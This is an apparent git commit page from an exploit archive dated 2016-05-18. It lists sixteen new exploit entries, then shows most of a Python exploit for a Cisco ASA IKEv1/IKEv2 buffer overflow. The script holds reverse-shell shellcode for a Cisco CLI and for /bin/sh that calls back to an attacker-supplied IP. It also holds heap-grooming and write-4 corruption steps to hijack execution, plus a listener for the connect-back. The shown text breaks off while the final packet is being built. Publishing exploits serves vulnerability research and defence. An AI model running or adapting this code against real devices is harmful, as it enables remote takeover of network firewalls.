DB: 2016-05-18
16 new exploits Meteocontrol WEB’log - Admin Password Disclosure Cisco ASA Software 8.x / 9.x - IKEv1 and IKEv2 Buffer Overflow Adobe Flash - JXR Processing Out-of-Bounds Read Adobe Flash - Out-of-Bounds Read when Placing Object Adobe Flash - Overflow in Processing Raw 565 Textures Adobe Flash - Heap Overflow in ATF Processing (Image Reading) Adobe Flash - MP4 File Stack Corruption Adobe Flash - Type Confusion in FileReference Constructor Adobe Flash - addProperty Use-After-Free Adobe Flash - SetNative Use-After-Free Windows - gdi32.dll Multiple Issues in the EMF CREATECOLORSPACEW Record Handling (MS16-055) Windows - gdi32.dll Multiple Issues in the EMF COMMENT_MULTIFORMATS Record Handling (MS16-055) Windows - gdi32.dll Heap-Based Buffer Overflow in ExtEscape() Triggerable via EMR_EXTESCAPE EMF Record (MS16-055) Symantec/Norton Antivirus - ASPack Remote Heap/Pool Memory Corruption Vulnerability Dell SonicWALL Scrutinizer 11.01 methodDetail SQL Injection SAP xMII 15.0 - Directory Traversal
This commit is contained in:
parent
8fea20e59f
commit
6dc4d46521
17 changed files with 1803 additions and 0 deletions
16
files.csv
16
files.csv
|
@ -36007,3 +36007,19 @@ id,file,description,date,author,platform,type,port
|
||||||
39819,platforms/windows/dos/39819.txt,"Microsoft Excel 2010 - Crash PoC",2016-05-16,HauntIT,windows,dos,0
|
39819,platforms/windows/dos/39819.txt,"Microsoft Excel 2010 - Crash PoC",2016-05-16,HauntIT,windows,dos,0
|
||||||
39820,platforms/windows/local/39820.txt,"Hex : Shard of Fate 1.0.1.026 - Unquoted Path Privilege Escalation",2016-05-16,"Cyril Vallicari",windows,local,0
|
39820,platforms/windows/local/39820.txt,"Hex : Shard of Fate 1.0.1.026 - Unquoted Path Privilege Escalation",2016-05-16,"Cyril Vallicari",windows,local,0
|
||||||
39821,platforms/python/webapps/39821.txt,"Web2py 2.14.5 - Multiple Vulnerabilities",2016-05-16,"Narendra Bhati",python,webapps,0
|
39821,platforms/python/webapps/39821.txt,"Web2py 2.14.5 - Multiple Vulnerabilities",2016-05-16,"Narendra Bhati",python,webapps,0
|
||||||
|
39822,platforms/multiple/webapps/39822.rb,"Meteocontrol WEB’log - Admin Password Disclosure",2016-05-17,"Karn Ganeshen",multiple,webapps,0
|
||||||
|
39823,platforms/hardware/remote/39823.py,"Cisco ASA Software 8.x / 9.x - IKEv1 and IKEv2 Buffer Overflow",2016-05-17,"Exodus Intelligence",hardware,remote,0
|
||||||
|
39824,platforms/multiple/dos/39824.txt,"Adobe Flash - JXR Processing Out-of-Bounds Read",2016-05-17,"Google Security Research",multiple,dos,0
|
||||||
|
39825,platforms/multiple/dos/39825.txt,"Adobe Flash - Out-of-Bounds Read when Placing Object",2016-05-17,"Google Security Research",multiple,dos,0
|
||||||
|
39826,platforms/multiple/dos/39826.txt,"Adobe Flash - Overflow in Processing Raw 565 Textures",2016-05-17,"Google Security Research",multiple,dos,0
|
||||||
|
39827,platforms/multiple/dos/39827.txt,"Adobe Flash - Heap Overflow in ATF Processing (Image Reading)",2016-05-17,"Google Security Research",multiple,dos,0
|
||||||
|
39828,platforms/multiple/dos/39828.txt,"Adobe Flash - MP4 File Stack Corruption",2016-05-17,"Google Security Research",multiple,dos,0
|
||||||
|
39829,platforms/multiple/dos/39829.txt,"Adobe Flash - Type Confusion in FileReference Constructor",2016-05-17,"Google Security Research",multiple,dos,0
|
||||||
|
39830,platforms/multiple/dos/39830.txt,"Adobe Flash - addProperty Use-After-Free",2016-05-17,"Google Security Research",multiple,dos,0
|
||||||
|
39831,platforms/multiple/dos/39831.txt,"Adobe Flash - SetNative Use-After-Free",2016-05-17,"Google Security Research",multiple,dos,0
|
||||||
|
39832,platforms/windows/dos/39832.txt,"Windows - gdi32.dll Multiple Issues in the EMF CREATECOLORSPACEW Record Handling (MS16-055)",2016-05-17,"Google Security Research",windows,dos,0
|
||||||
|
39833,platforms/windows/dos/39833.txt,"Windows - gdi32.dll Multiple Issues in the EMF COMMENT_MULTIFORMATS Record Handling (MS16-055)",2016-05-17,"Google Security Research",windows,dos,0
|
||||||
|
39834,platforms/multiple/dos/39834.txt,"Windows - gdi32.dll Heap-Based Buffer Overflow in ExtEscape() Triggerable via EMR_EXTESCAPE EMF Record (MS16-055)",2016-05-17,"Google Security Research",multiple,dos,0
|
||||||
|
39835,platforms/multiple/dos/39835.txt,"Symantec/Norton Antivirus - ASPack Remote Heap/Pool Memory Corruption Vulnerability",2016-05-17,"Google Security Research",multiple,dos,0
|
||||||
|
39836,platforms/multiple/remote/39836.rb,"Dell SonicWALL Scrutinizer 11.01 methodDetail SQL Injection",2016-05-17,metasploit,multiple,remote,0
|
||||||
|
39837,platforms/java/webapps/39837.txt,"SAP xMII 15.0 - Directory Traversal",2016-05-17,ERPScan,java,webapps,0
|
||||||
|
|
Can't render this file because it is too large.
|
478
platforms/hardware/remote/39823.py
Executable file
478
platforms/hardware/remote/39823.py
Executable file
|
@ -0,0 +1,478 @@
|
||||||
|
#!/usr/bin/env python2.7
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
import struct
|
||||||
|
import string
|
||||||
|
import random
|
||||||
|
import time
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# Spawns a reverse cisco CLI
|
||||||
|
cliShellcode = (
|
||||||
|
"\x60\xc7\x02\x90\x67\xb9\x09\x8b\x45\xf8\x8b\x40\x5c\x8b\x40\x04"
|
||||||
|
"\x8b\x40\x08\x8b\x40\x04\x8b\x00\x85\xc0\x74\x3b\x50\x8b\x40\x08"
|
||||||
|
"\x8b\x40\x04\x8d\x98\xd8\x00\x00\x00\x58\x81\x3b\xd0\xd4\x00\xe1"
|
||||||
|
"\x75\xe4\x83\x7b\x04\x31\x74\xde\x89\xd8\x2d\x00\x01\x00\x00\xc7"
|
||||||
|
"\x40\x04\x03\x01\x00\x00\xc7\x40\x0c\xd0\x00\x00\x00\xc7\x80\xf8"
|
||||||
|
"\x00\x00\x00\xef\xcd\x1c\xa1\x55\x31\xed\x31\xff\x4f\xbe\x22\x00"
|
||||||
|
"\x00\x00\xba\x07\x00\x00\x00\xb9\x00\x10\x00\x00\x31\xdb\xb8\xc0"
|
||||||
|
"\x00\x00\x00\xcd\x80\x5d\x89\xc7\xeb\x26\x5e\xb9\x00\x04\x00\x00"
|
||||||
|
"\xf3\xa5\x31\xdb\x6a\x03\x68\x00\x20\x00\x00\x53\x50\x68\xfd\xa8"
|
||||||
|
"\xff\x09\xb8\xf0\xb7\x06\x08\xff\xd0\x83\xc4\x14\x61\x31\xc0\xc3"
|
||||||
|
"\xe8\xd5\xff\xff\xff\x55\x89\xe5\x81\xec\x10\x04\x00\x00\xe9\xb1"
|
||||||
|
"\x00\x00\x00\x58\x89\x85\xfc\xfb\xff\xff\x50\xb8\xf0\x07\x07\x08"
|
||||||
|
"\xff\xd0\x83\xc4\x04\x89\x85\xf8\xfb\xff\xff\x89\xc3\x8b\x43\x04"
|
||||||
|
"\x68\x80\xee\x36\x00\x68\x1a\x90\x01\x00\x53\xff\x50\x70\xc7\x44"
|
||||||
|
"\x24\x04\x20\x90\x01\x00\x8b\x43\x04\xff\x50\x70\xc7\x85\xf4\xfb"
|
||||||
|
"\xff\xff\x00\x40\x00\x00\x8d\x8d\xf4\xfb\xff\xff\x89\x4c\x24\x08"
|
||||||
|
"\xc7\x44\x24\x04\x21\x90\x01\x00\x89\x1c\x24\x8b\x43\x04\xff\x50"
|
||||||
|
"\x70\xbe\xc8\xef\xff\xff\x65\x8b\x06\x89\x98\x98\x00\x00\x00\xeb"
|
||||||
|
"\x3a\xb8\x80\x0a\x0f\x08\xff\xd0\x5b\xc7\x43\x0c\xff\xff\xff\x17"
|
||||||
|
"\x83\xc3\x14\xc7\x03\x65\x6e\x61\x62\xc7\x43\x04\x6c\x65\x5f\x31"
|
||||||
|
"\xc7\x43\x08\x35\x00\x00\x00\x6a\x04\x68\x60\xc1\x52\x0a\xb8\x20"
|
||||||
|
"\x68\x0f\x08\xff\xd0\x89\xec\x5d\x31\xc0\xc3\xe8\xc1\xff\xff\xff"
|
||||||
|
"\x60\xc1\x52\x0a\xe8\x4a\xff\xff\xfftcp/CONNECT/3/@IP@/@PORT@\x00"
|
||||||
|
)
|
||||||
|
|
||||||
|
# Spawns a reverse "/bin/sh"
|
||||||
|
shShellcode = (
|
||||||
|
"\x60\xc7\x02\x90\x67\xb9\x09\x8b\x45\xf8\x8b\x40\x5c\x8b\x40\x04"
|
||||||
|
"\x8b\x40\x08\x8b\x40\x04\x8b\x00\x85\xc0\x74\x3b\x50\x8b\x40\x08"
|
||||||
|
"\x8b\x40\x04\x8d\x98\xd8\x00\x00\x00\x58\x81\x3b\xd0\xd4\x00\xe1"
|
||||||
|
"\x75\xe4\x83\x7b\x04\x31\x74\xde\x89\xd8\x2d\x00\x01\x00\x00\xc7"
|
||||||
|
"\x40\x04\x03\x01\x00\x00\xc7\x40\x0c\xd0\x00\x00\x00\xc7\x80\xf8"
|
||||||
|
"\x00\x00\x00\xef\xcd\x1c\xa1\xb8\x40\xbc\x2a\x09\xff\xd0\x61\xb8"
|
||||||
|
"\x02\x00\x00\x00\xcd\x80\x85\xc0\x0f\x85\xa1\x01\x00\x00\xba\xed"
|
||||||
|
"\x01\x00\x00\xb9\xc2\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x74"
|
||||||
|
"\x6d\x70\x8d\x1c\x24\xb8\x05\x00\x00\x00\xcd\x80\x50\xeb\x31\x59"
|
||||||
|
"\x8b\x11\x8d\x49\x04\x89\xc3\xb8\x04\x00\x00\x00\xcd\x80\x5b\xb8"
|
||||||
|
"\x06\x00\x00\x00\xcd\x80\x8d\x1c\x24\x31\xd2\x52\x53\x8d\x0c\x24"
|
||||||
|
"\xb8\x0b\x00\x00\x00\xcd\x80\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80"
|
||||||
|
"\xe8\xca\xff\xff\xff\x46\x01\x00\x00\x7f\x45\x4c\x46\x01\x01\x01"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00\x01\x00\x00"
|
||||||
|
"\x00\x54\x80\x04\x08\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x34\x00\x20\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x80\x04\x08\x00\x80\x04\x08\xf2\x00\x00"
|
||||||
|
"\x00\xf2\x00\x00\x00\x07\x00\x00\x00\x00\x10\x00\x00\x55\x89\xe5"
|
||||||
|
"\x83\xec\x10\x6a\x00\x6a\x01\x6a\x02\x8d\x0c\x24\xbb\x01\x00\x00"
|
||||||
|
"\x00\xb8\x66\x00\x00\x00\xcd\x80\x83\xc4\x0c\x89\x45\xfc\x68\x7f"
|
||||||
|
"\x00\x00\x01\x68\x02\x00\x04\x38\x8d\x14\x24\x6a\x10\x52\x50\x8d"
|
||||||
|
"\x0c\x24\xbb\x03\x00\x00\x00\xb8\x66\x00\x00\x00\xcd\x80\x83\xc4"
|
||||||
|
"\x14\x85\xc0\x7d\x18\x6a\x00\x6a\x01\x8d\x1c\x24\x31\xc9\xb8\xa2"
|
||||||
|
"\x00\x00\x00\xcd\x80\x83\xc4\x08\xeb\xc4\x8b\x45\xfc\x83\xec\x20"
|
||||||
|
"\x8d\x0c\x24\xba\x03\x00\x00\x00\x8b\x5d\xfc\xc7\x01\x05\x01\x00"
|
||||||
|
"\x00\xb8\x04\x00\x00\x00\xcd\x80\xba\x04\x00\x00\x00\xb8\x03\x00"
|
||||||
|
"\x00\x00\xcd\x80\xc7\x01\x05\x01\x00\x01\xc7\x41\x04\x0a\x64\x00"
|
||||||
|
"\x01\x66\xc7\x41\x08\x11\x5c\xba\x0a\x00\x00\x00\xb8\x04\x00\x00"
|
||||||
|
"\x00\xcd\x80\xba\x20\x00\x00\x00\xb8\x03\x00\x00\x00\xcd\x80\x83"
|
||||||
|
"\xc4\x20\x8b\x5d\xfc\xb9\x02\x00\x00\x00\xb8\x3f\x00\x00\x00\xcd"
|
||||||
|
"\x80\x49\x7d\xf6\x31\xd2\x68\x2d\x69\x00\x00\x89\xe7\x68\x2f\x73"
|
||||||
|
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x53\x8d\x0c\x24\xb8"
|
||||||
|
"\x0b\x00\x00\x00\xcd\x80\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80\x31"
|
||||||
|
"\xc0\xc3"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
# SA Session
|
||||||
|
class Session(object):
|
||||||
|
def __init__(self, host_port, id = None):
|
||||||
|
if id == None:
|
||||||
|
id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
|
||||||
|
|
||||||
|
self._host, self._port = host_port
|
||||||
|
self._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
self._id = id
|
||||||
|
self._mid = 1
|
||||||
|
|
||||||
|
|
||||||
|
# Init session
|
||||||
|
print("[+] Using session ID: " + self._id)
|
||||||
|
self.send(self.make_SA())
|
||||||
|
|
||||||
|
# Check if we got something
|
||||||
|
res = self.recv()
|
||||||
|
cookie = res[8:16]
|
||||||
|
print("[+] Cookie: " + cookie)
|
||||||
|
|
||||||
|
self._cookie = cookie
|
||||||
|
|
||||||
|
# Enforce value of 0x21
|
||||||
|
if ord(res[16]) != 0x21:
|
||||||
|
raise Exception("Invalid router response")
|
||||||
|
|
||||||
|
print("[+] New SA successfuly created.")
|
||||||
|
|
||||||
|
|
||||||
|
# UPD socket helpers
|
||||||
|
def send(self, buf):
|
||||||
|
self._sock.sendto(buf, (self._host, self._port))
|
||||||
|
|
||||||
|
def recv(self, size = 4096):
|
||||||
|
data, addr = self._sock.recvfrom(size)
|
||||||
|
return data
|
||||||
|
|
||||||
|
def make_SA(self):
|
||||||
|
buf = ""
|
||||||
|
buf += self._id # Initiator SPI
|
||||||
|
buf += "\x00"*8 # Responder SPI
|
||||||
|
buf += "\x21" # next payload (security association)
|
||||||
|
buf += "\x20" # version
|
||||||
|
buf += "\x22" # exchange type
|
||||||
|
buf += "\x08" # flags
|
||||||
|
buf += "\x00"*4 # message ID
|
||||||
|
buf += "$$$$" # length
|
||||||
|
|
||||||
|
# stolen from pcap
|
||||||
|
# THIS IS SECURITY ASSOCIATION
|
||||||
|
buf += "\x22\x00\x00\x6c\x00\x00\x00\x68\x01\x01\x00\x0b\x03\x00\x00\x0c\x01\x00\x00\x0c\x80\x0e\x01\x00\x03\x00\x00\x0c\x01\x00\x00\x0c\x80\x0e\x00\x80\x03\x00\x00\x08\x01\x00\x00\x03\x03\x00\x00\x08\x01\x00\x00\x02\x03\x00\x00\x08\x02\x00\x00\x02\x03\x00\x00\x08\x02\x00\x00\x01\x03\x00\x00\x08\x03\x00\x00\x02\x03\x00\x00\x08\x03\x00\x00\x01\x03\x00\x00\x08\x04\x00\x00\x02\x03\x00\x00\x08\x04\x00\x00\x05\x00\x00\x00\x08\x04\x00\x00\x0e"
|
||||||
|
|
||||||
|
# THIS IS KEY EXCHANGE
|
||||||
|
# this is the type of the next payload...
|
||||||
|
buf += "\x28" # 0x28 = Nonce, 0x2b = vendor ID
|
||||||
|
# KEY EXCHANGE DATA
|
||||||
|
buf += "\x00\x00\x88\x00\x02\x00\x00\x50\xea\xf4\x54\x1c\x61\x24\x1b\x59\x3f\x48\xcb\x12\x8c\xf1\x7f\x5f\xd4\xd8\xe9\xe2\xfd\x3c\x66\x70\xef\x08\xf6\x56\xcd\x83\x16\x65\xc1\xdf\x1c\x2b\xb1\xc4\x92\xca\xcb\xd2\x68\x83\x8e\x2f\x12\x94\x12\x48\xec\x78\x4b\x5d\xf3\x57\x87\x36\x1b\xba\x5b\x34\x6e\xec\x7e\x39\xc1\xc2\x2d\xf9\x77\xcc\x19\x39\x25\x64\xeb\xb7\x85\x5b\x16\xfc\x2c\x58\x56\x11\xfe\x49\x71\x32\xe9\xe8\x2d\x27\xbe\x78\x71\x97\x7a\x74\x42\x30\x56\x62\xa2\x99\x9c\x56\x0f\xfe\xd0\xa2\xe6\x8f\x72\x5f\xc3\x87\x4c\x7c\x9b\xa9\x80\xf1\x97\x57\x92"
|
||||||
|
|
||||||
|
# this is the Nonce payload
|
||||||
|
buf += "\x2b"
|
||||||
|
buf += "\x00\x00\x18\x97\x40\x6a\x31\x04\x4d\x3f\x7d\xea\x84\x80\xe9\xc8\x41\x5f\x84\x49\xd3\x8c\xee"
|
||||||
|
# lets try a vendor id or three
|
||||||
|
buf += "\x2b" # next payload, more vendor ID
|
||||||
|
buf += "\x00" # critical bit
|
||||||
|
vid = "CISCO-DELETE-REASON"
|
||||||
|
buf += struct.pack(">H", len(vid)+4)
|
||||||
|
buf += vid
|
||||||
|
|
||||||
|
# another vendor id
|
||||||
|
buf += "\x2b" # next payload, more vendor ID
|
||||||
|
buf += "\x00" # critical bit
|
||||||
|
vid = "CISCO(COPYRIGHT)&Copyright (c) 2009 Cisco Systems, Inc."
|
||||||
|
buf += struct.pack(">H", len(vid)+4)
|
||||||
|
buf += vid
|
||||||
|
|
||||||
|
# another vendor id
|
||||||
|
buf += "\x2b" # next payload, more vid
|
||||||
|
buf += "\x00" # crit
|
||||||
|
vid = "CISCO-GRE-MODE"
|
||||||
|
buf += struct.pack(">H", len(vid)+4)
|
||||||
|
buf += vid
|
||||||
|
|
||||||
|
# last vendor id
|
||||||
|
buf += "\x00" # next payload
|
||||||
|
buf += "\x00"
|
||||||
|
vid = "\x40\x48\xb7\xd5\x6e\xbc\xe8\x85\x25\xe7\xde\x7f\x00\xd6\xc2\xd3"
|
||||||
|
buf += struct.pack(">H", len(vid)+4)
|
||||||
|
buf += vid
|
||||||
|
|
||||||
|
return buf.replace("$$$$", struct.pack(">L", len(buf)))
|
||||||
|
|
||||||
|
def make_cisco_fragment(self, flength, seqno, fragid, lastfrag, sploit):
|
||||||
|
buf = ''
|
||||||
|
buf += self._id # Initiator SPI (random)
|
||||||
|
buf += self._cookie # Responder SPI
|
||||||
|
buf += "\x84" # next payload
|
||||||
|
buf += "\x20" # version
|
||||||
|
buf += "\x25" # exchange type (2=identify protection)
|
||||||
|
buf += "\x08" # flags
|
||||||
|
buf += "\x00\x00\x00\x01" # message ID
|
||||||
|
buf += "ABCD" # length
|
||||||
|
|
||||||
|
# PAYLOAD
|
||||||
|
payload = ""
|
||||||
|
payload += "\x00" # next payload (none)
|
||||||
|
payload += "\x00" # critical bit
|
||||||
|
payload += struct.pack(">H", flength) #payload_len) # length
|
||||||
|
payload += struct.pack(">H", fragid) # frag ID
|
||||||
|
payload += struct.pack("B", seqno) # frag sequence
|
||||||
|
payload += struct.pack("B", lastfrag)
|
||||||
|
payload += sploit
|
||||||
|
|
||||||
|
buf += payload
|
||||||
|
return buf.replace("ABCD", struct.pack(">L", len(buf)))
|
||||||
|
|
||||||
|
|
||||||
|
def send_fragment(self, flength, seqno, fragid, lastfrag, sploit):
|
||||||
|
buf = self.make_cisco_fragment(flength, seqno, fragid, lastfrag, sploit)
|
||||||
|
self.send(buf)
|
||||||
|
|
||||||
|
# We're not supposed to receive anything if everything went
|
||||||
|
# according to plan
|
||||||
|
|
||||||
|
def make_cisco_option_list(self, opt_lst):
|
||||||
|
buf = ''
|
||||||
|
buf += self._id # Initiator SPI (random)
|
||||||
|
buf += self._cookie # Responder SPI
|
||||||
|
buf += "\x2f" # next payload
|
||||||
|
buf += "\x20" # version
|
||||||
|
buf += "\x25" # exchange type (2=identify protection)
|
||||||
|
buf += "\x08" # flags
|
||||||
|
buf += struct.pack(">I", 1) # message ID
|
||||||
|
buf += "ABCD" # length
|
||||||
|
|
||||||
|
# PAYLOAD
|
||||||
|
payload = ""
|
||||||
|
payload += "\x00" # next payload (none)
|
||||||
|
payload += "\x00" # critical bit
|
||||||
|
payload += "EF" #payload_len) # length
|
||||||
|
payload += "\x03" # CFG_SET
|
||||||
|
payload += "\x00\x00\x00" # Reserved
|
||||||
|
|
||||||
|
total = 0x8
|
||||||
|
for size, n in opt_lst:
|
||||||
|
option = struct.pack(">H", 0x6000) #id
|
||||||
|
option += struct.pack(">H", size) # data length
|
||||||
|
option += "A" * (size)
|
||||||
|
|
||||||
|
total += (size + 4) * n
|
||||||
|
payload += option * n
|
||||||
|
buf += payload
|
||||||
|
|
||||||
|
|
||||||
|
packet = buf.replace("ABCD", struct.pack(">L", len(buf))).replace("EF", struct.pack(">H", total))
|
||||||
|
|
||||||
|
return packet
|
||||||
|
|
||||||
|
|
||||||
|
class Exploit(object):
|
||||||
|
def __init__(self, host, revHost, revPort = 4444):
|
||||||
|
self._host = host
|
||||||
|
self._port = 500
|
||||||
|
self._revHost = revHost
|
||||||
|
self._revPort = revPort
|
||||||
|
self._sessions = []
|
||||||
|
|
||||||
|
|
||||||
|
# Create a new SA session
|
||||||
|
def create_SA(self, id = None):
|
||||||
|
|
||||||
|
# Create a new socket for session
|
||||||
|
sess = Session((self._host, self._port), id)
|
||||||
|
|
||||||
|
# Append to session list
|
||||||
|
self._sessions.append(sess)
|
||||||
|
|
||||||
|
return sess
|
||||||
|
|
||||||
|
|
||||||
|
# Interact with reverse shell
|
||||||
|
def interact(self):
|
||||||
|
from telnetlib import Telnet
|
||||||
|
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
|
||||||
|
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||||
|
|
||||||
|
s.bind((self._revHost, self._revPort))
|
||||||
|
s.listen(5)
|
||||||
|
cli = s.accept()[0]
|
||||||
|
s.close()
|
||||||
|
print("[+] Got connect-back")
|
||||||
|
|
||||||
|
t = Telnet()
|
||||||
|
t.sock = cli
|
||||||
|
t.interact()
|
||||||
|
|
||||||
|
def buildPayload(self, cli = False):
|
||||||
|
if cli == False:
|
||||||
|
buf = bytearray(shShellcode)
|
||||||
|
# Adjust IP and port
|
||||||
|
buf[0x1ad:0x1b1] = socket.inet_aton(self._revHost)
|
||||||
|
buf[0x1b5:0x1b7] = struct.pack(">H", self._revPort)
|
||||||
|
Shellcode = bytes(buf)
|
||||||
|
else:
|
||||||
|
Shellcode = cliShellcode.replace("@IP@", self._revHost).replace("@PORT@", str(self._revPort))
|
||||||
|
|
||||||
|
return Shellcode
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
if len(sys.argv) < 3:
|
||||||
|
print("[+] Usage: {0:s} <cisco IP> <attacker IP>[:port]".format(sys.argv[0]))
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
#TODO: Check host
|
||||||
|
host = sys.argv[1]
|
||||||
|
revHost = sys.argv[2]
|
||||||
|
|
||||||
|
# Parse revHost
|
||||||
|
port = 4444
|
||||||
|
if revHost.rfind(":") != -1:
|
||||||
|
revHost, port = revHost.split(":")
|
||||||
|
port = int(port)
|
||||||
|
|
||||||
|
exploit = Exploit(host, revHost, port)
|
||||||
|
sess1 = exploit.create_SA()
|
||||||
|
sess2 = exploit.create_SA()
|
||||||
|
|
||||||
|
n = 0xd6
|
||||||
|
sess2.send_fragment(0x8 + n + 3, 1, 5, 0, "A" * (n + 3))
|
||||||
|
|
||||||
|
# Send packets which will trigger the vulnerability
|
||||||
|
# Weird packet to get a size of 0x1
|
||||||
|
sess2.send_fragment(8 + -7, 0, 6, 1, "A" * (256 - 7))
|
||||||
|
|
||||||
|
# This fragment will be the one being copied
|
||||||
|
# during the memory corruption
|
||||||
|
buf = "A" * (n - 0xd + 0x3)
|
||||||
|
buf += struct.pack("<I", 0xef000000)
|
||||||
|
buf += struct.pack("<I", 0x00a11ccd) # chunk magics
|
||||||
|
buf += struct.pack("<I", 0xe100d4d0)
|
||||||
|
buf += struct.pack("B", 0x61) # set size from 0x31 to 0x61 in order to encompass the
|
||||||
|
# adjacent chunk on free
|
||||||
|
sess2.send_fragment(8 + n + 3, 1, 6, 0, buf)
|
||||||
|
|
||||||
|
|
||||||
|
sess1.send_fragment(0x8 + 0xf8, 1, 0xeb, 0, "A" * 0xf8)
|
||||||
|
pkt = sess1.make_cisco_option_list((
|
||||||
|
(0xd0, 0x30),
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# Defragment heap
|
||||||
|
sess1.send(pkt)
|
||||||
|
sess1.send(pkt)
|
||||||
|
sess1.send(pkt)
|
||||||
|
|
||||||
|
# Prepare a fake chunk
|
||||||
|
buf = ""
|
||||||
|
buf += struct.pack("<I", 0x60)
|
||||||
|
buf += struct.pack("<I", 0x102)
|
||||||
|
buf += struct.pack("<I", 0xa11c0123)
|
||||||
|
buf += struct.pack("<I", 0xe0)
|
||||||
|
buf += "A" * 0xe8
|
||||||
|
|
||||||
|
# And allocate it right after a 0x100 bytes hole
|
||||||
|
sess1.send_fragment(0x8 + 0xf8, 2, 0xeb, 0, buf)
|
||||||
|
|
||||||
|
# Trigger the overflow
|
||||||
|
sess2.send_fragment(8 + -7, 3, 6, 1, "A" * (256 - 7))
|
||||||
|
|
||||||
|
# Retrieve of fake freed block
|
||||||
|
#buf = "\xcc" * (0xd0 - len(buf))
|
||||||
|
buf = "\x00" * 0xd0
|
||||||
|
|
||||||
|
|
||||||
|
buf += struct.pack("<I", 0xe100d4d0)
|
||||||
|
buf += struct.pack("<I", 0x31)
|
||||||
|
|
||||||
|
# this is a special writable address in the process
|
||||||
|
# it translate into the following executable code:
|
||||||
|
# nop / jmp [ecx]
|
||||||
|
# since ecx happens to hold a pointer to a controlled buffer
|
||||||
|
# the execution flow will be redirected to attacker controlled data
|
||||||
|
what = 0xc821ff90
|
||||||
|
|
||||||
|
# Just some writable address in the process which doesn't seem to be used
|
||||||
|
where = 0xc8002000 - 0x8
|
||||||
|
|
||||||
|
buf += struct.pack("<I", what)
|
||||||
|
buf += struct.pack("<I", where)
|
||||||
|
buf += struct.pack("<I", 0xf3ee0123)
|
||||||
|
buf += struct.pack("<I", 0x0) * 5
|
||||||
|
buf += struct.pack("<I", 0x5ee33210)
|
||||||
|
buf += struct.pack("<I", 0xf3eecdef)
|
||||||
|
buf += struct.pack("<I", 0x30)
|
||||||
|
buf += struct.pack("<I", 0x132)
|
||||||
|
buf += struct.pack("<I", 0xa11c0123)
|
||||||
|
buf += struct.pack("<I", 0x100)
|
||||||
|
buf += struct.pack("<I", 0x0) * 2
|
||||||
|
|
||||||
|
# Second write-4 pointers
|
||||||
|
# This is the address of the pointer to the "list_add" function
|
||||||
|
# which will give us control of execution flow
|
||||||
|
where = 0x0A99B7A4 - 0x10
|
||||||
|
|
||||||
|
# This is the address where the opcode sequence "nop / jmp [ecx]" is located
|
||||||
|
what = 0xc8002000
|
||||||
|
|
||||||
|
buf += struct.pack("<I", what)
|
||||||
|
buf += struct.pack("<I", where)
|
||||||
|
|
||||||
|
buf += "\x00" * (0x128 - len(buf))
|
||||||
|
|
||||||
|
# Try to chain a config list and a fragment packet
|
||||||
|
packet = bytearray()
|
||||||
|
packet += sess1._id # Initiator SPI (random)
|
||||||
|
packet += sess1._cookie # Responder SPI
|
||||||
|
packet += "\x2f" # next payload option list
|
||||||
|
packet += "\x20" # version
|
||||||
|
packet += "\x25" # exchange type (2=identify protection)
|
||||||
|
packet += "\x08" # flags
|
||||||
|
packet += struct.pack(">I", 1) # message ID
|
||||||
|
packet += "XXXX" # total length including header
|
||||||
|
|
||||||
|
payload = bytearray()
|
||||||
|
payload += "\x00" # next payload (frag)
|
||||||
|
payload += "\x00" # critical bit
|
||||||
|
payload += "\x00\x00" # payload length
|
||||||
|
payload += "\x03" # CFG_SET
|
||||||
|
payload += "\x00\x00\x00" # Reserved
|
||||||
|
|
||||||
|
size = 0x130
|
||||||
|
option = struct.pack(">H", 0x8400) #id
|
||||||
|
option += struct.pack(">H", size) # data length
|
||||||
|
option += "\x90" * 0x8 + buf
|
||||||
|
|
||||||
|
payload += option * 0x10
|
||||||
|
|
||||||
|
|
||||||
|
# Update payload length
|
||||||
|
payload[2:4] = struct.pack(">H", len(payload))
|
||||||
|
|
||||||
|
packet += payload
|
||||||
|
|
||||||
|
# Update payload length
|
||||||
|
packet[0x18:0x1C] = struct.pack(">I", len(packet))
|
||||||
|
|
||||||
|
|
||||||
|
packet = bytes(packet)
|
||||||
|
|
||||||
|
# Reallocate the fake freed 0x130 bytes chunk with controlled data
|
||||||
|
# this way we can perform a write-4 memory corruption when freeing
|
||||||
|
# the subsequent memory
|
||||||
|
sess1.send(packet)
|
||||||
|
|
||||||
|
time.sleep(0.2)
|
||||||
|
#raw_input()
|
||||||
|
packet = bytearray()
|
||||||
|
packet += sess1._id # Initiator SPI (random)
|
||||||
|
packet += sess1._cookie # Responder SPI
|
||||||
|
packet += "\x84" # next payload option list
|
||||||
|
packet += "\x20" # version
|
||||||
|
packet += "\x25" # exchange type (2=identify protection)
|
||||||
|
packet += "\x08" # flags
|
||||||
|
packet += struct.pack(">I", 1) # message ID
|
||||||
|
packet += "XXXX" # total length including header
|
||||||
|
|
||||||
|
buf = exploit.buildPayload(cli = True)
|
||||||
|
|
||||||
|
flength = len(buf) + 0x8
|
||||||
|
fragid = 0xeb
|
||||||
|
seqno = 0x5
|
||||||
|
lastfrag = 0
|
||||||
|
payload = bytearray()
|
||||||
|
# Jump over garbage directly into shellcode (interpreted as jmp +0x6)
|
||||||
|
payload += "\xeb" # next payload (none)
|
||||||
|
payload += "\x06" # critical bit
|
||||||
|
payload += struct.pack(">H", flength) #payload_len) # length
|
||||||
|
payload += struct.pack(">H", fragid) # frag ID
|
||||||
|
payload += struct.pack("B", seqno) # frag sequence
|
||||||
|
